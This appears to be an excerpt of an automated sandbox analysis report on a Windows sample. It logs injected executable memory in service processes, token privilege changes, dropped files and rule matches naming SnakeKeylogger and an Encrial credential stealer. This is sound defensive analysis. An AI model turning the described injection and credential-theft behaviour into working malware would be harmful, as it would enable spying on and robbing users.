memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_74b5ac41-8

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\perfhost.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Code function: 2_2_00C92590 GetCurrentProcessId,ProcessIdToSessionId,RtlAdjustPrivilege,NtQuerySystemInformation,RtlInitUnicodeString,RtlEqualUnicodeString,NtOpenThread,NtImpersonateThread,NtOpenThreadTokenEx,NtAdjustPrivilegesToken,NtClose,NtClose,RtlExitUserThread,

2_2_00C92590

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\6b019fa68ff011e5.bin			Jump to behavior
Source: C:\Windows\System32\msdtc.exe	File created: C:\Windows\DtcInstall.log

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00CA00D9	2_2_00CA00D9
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C651EE	2_2_00C651EE
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C95980	2_2_00C95980
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C66EAF	2_2_00C66EAF
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00CA39A3	2_2_00CA39A3
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C67B71	2_2_00C67B71
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C9D580	2_2_00C9D580
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C9C7F0	2_2_00C9C7F0
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C67F80	2_2_00C67F80
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C93780	2_2_00C93780
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Code function: 5_2_00BE7C00	5_2_00BE7C00
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Code function: 5_2_00C0A810	5_2_00C0A810
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Code function: 5_2_00BE79F0	5_2_00BE79F0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Code function: 5_2_00C12D40	5_2_00C12D40
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Code function: 5_2_00C092A0	5_2_00C092A0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Code function: 5_2_00C0EEB0	5_2_00C0EEB0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Code function: 5_2_00C093B0	5_2_00C093B0
Source: C:\Windows\ehome\ehrecvr.exe	Code function: 11_2_009EA810	11_2_009EA810
Source: C:\Windows\ehome\ehrecvr.exe	Code function: 11_2_009C7C00	11_2_009C7C00
Source: C:\Windows\ehome\ehrecvr.exe	Code function: 11_2_009C79F0	11_2_009C79F0
Source: C:\Windows\ehome\ehrecvr.exe	Code function: 11_2_009F2D40	11_2_009F2D40
Source: C:\Windows\ehome\ehrecvr.exe	Code function: 11_2_009EEEB0	11_2_009EEEB0
Source: C:\Windows\ehome\ehrecvr.exe	Code function: 11_2_009E92A0	11_2_009E92A0
Source: C:\Windows\ehome\ehrecvr.exe	Code function: 11_2_009E93B0	11_2_009E93B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AD450	12_2_002AD450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002A7890	12_2_002A7890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AE5B0	12_2_002AE5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002A3590	12_2_002A3590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002A2A00	12_2_002A2A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002A1EF2	12_2_002A1EF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002A7F60	12_2_002A7F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AF828	12_2_002AF828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AB830	12_2_002AB830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AB840	12_2_002AB840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AD8A8	12_2_002AD8A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002ABC98	12_2_002ABC98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AC0F0	12_2_002AC0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002ADCF0	12_2_002ADCF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AC53A	12_2_002AC53A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002A7108	12_2_002A7108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002ADD00	12_2_002ADD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AE14A	12_2_002AE14A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AC548	12_2_002AC548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AF548	12_2_002AF548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AE158	12_2_002AE158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AE5A2	12_2_002AE5A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002ACBA0	12_2_002ACBA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AAF90	12_2_002AAF90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002AB3E8	12_2_002AB3E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002ACFF8	12_2_002ACFF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008994B0	12_2_008994B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0089A8E8	12_2_0089A8E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00898810	12_2_00898810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00896658	12_2_00896658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00898E60	12_2_00898E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0089A588	12_2_0089A588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008981C8	12_2_008981C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00897150	12_2_00897150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00890489	12_2_00890489
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00890498	12_2_00890498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00891E98	12_2_00891E98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00891EA8	12_2_00891EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008938A8	12_2_008938A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008994A0	12_2_008994A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008938B8	12_2_008938B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008952BA	12_2_008952BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008952C8	12_2_008952C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00899AE8	12_2_00899AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008908E0	12_2_008908E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00899AF8	12_2_00899AF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008922F1	12_2_008922F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008908F0	12_2_008908F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00893008	12_2_00893008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00894A0A	12_2_00894A0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00898800	12_2_00898800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00894A18	12_2_00894A18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00890012	12_2_00890012
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00890040	12_2_00890040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00891A40	12_2_00891A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00891A50	12_2_00891A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00893450	12_2_00893450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00898E54	12_2_00898E54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00893460	12_2_00893460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00894E60	12_2_00894E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00894E70	12_2_00894E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00891190	12_2_00891190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008911A0	12_2_008911A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00892BA0	12_2_00892BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008945BA	12_2_008945BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00892BB0	12_2_00892BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008981B7	12_2_008981B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008945C0	12_2_008945C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00895FC0	12_2_00895FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00895FD0	12_2_00895FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008915E8	12_2_008915E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00892FF9	12_2_00892FF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_008915F8	12_2_008915F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00893D0E	12_2_00893D0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00892300	12_2_00892300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00895711	12_2_00895711
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00893D10	12_2_00893D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00895720	12_2_00895720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00890D39	12_2_00890D39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00890D48	12_2_00890D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00892748	12_2_00892748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00897148	12_2_00897148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00892758	12_2_00892758
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00894168	12_2_00894168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00895B68	12_2_00895B68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00894162	12_2_00894162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00895B78	12_2_00895B78
Source: C:\Windows\ehome\ehsched.exe	Code function: 13_2_009DA810	13_2_009DA810
Source: C:\Windows\ehome\ehsched.exe	Code function: 13_2_009B7C00	13_2_009B7C00
Source: C:\Windows\ehome\ehsched.exe	Code function: 13_2_009B79F0	13_2_009B79F0
Source: C:\Windows\ehome\ehsched.exe	Code function: 13_2_009E2D40	13_2_009E2D40
Source: C:\Windows\ehome\ehsched.exe	Code function: 13_2_009DEEB0	13_2_009DEEB0
Source: C:\Windows\ehome\ehsched.exe	Code function: 13_2_009D92A0	13_2_009D92A0
Source: C:\Windows\ehome\ehsched.exe	Code function: 13_2_009D93B0	13_2_009D93B0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_003739A3	15_2_003739A3
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_00336EAF	15_2_00336EAF
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_00365980	15_2_00365980
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_003351EE	15_2_003351EE
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_0036D580	15_2_0036D580
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_00337F80	15_2_00337F80
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_00363780	15_2_00363780
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_0036C7F0	15_2_0036C7F0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Load Driver

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Security

Source: ehrecvr.exe.0.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: elevation_service.exe.2.dr

Static PE information: Number of sections : 12 > 10

Source: Y2EM7suNV5.exe, 00000000.00000003.353182259.0000000003560000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearmsvc.exeN vs Y2EM7suNV5.exe
Source: Y2EM7suNV5.exe, 00000000.00000003.360124738.0000000003650000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameALG.exej% vs Y2EM7suNV5.exe

Source: Y2EM7suNV5.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 12.2.RegSvcs.exe.90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 12.2.RegSvcs.exe.90000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 3736, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: Y2EM7suNV5.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mscorsvw.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mscorsvw.exe0.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: dllhost.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ehrecvr.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ehsched.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FlashPlayerUpdateService.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: aspnet_state.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ieetwcollector.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: sppsvc.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OSE.EXE.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: Y2EM7suNV5.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mscorsvw.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: mscorsvw.exe0.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: dllhost.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ehrecvr.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ehsched.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
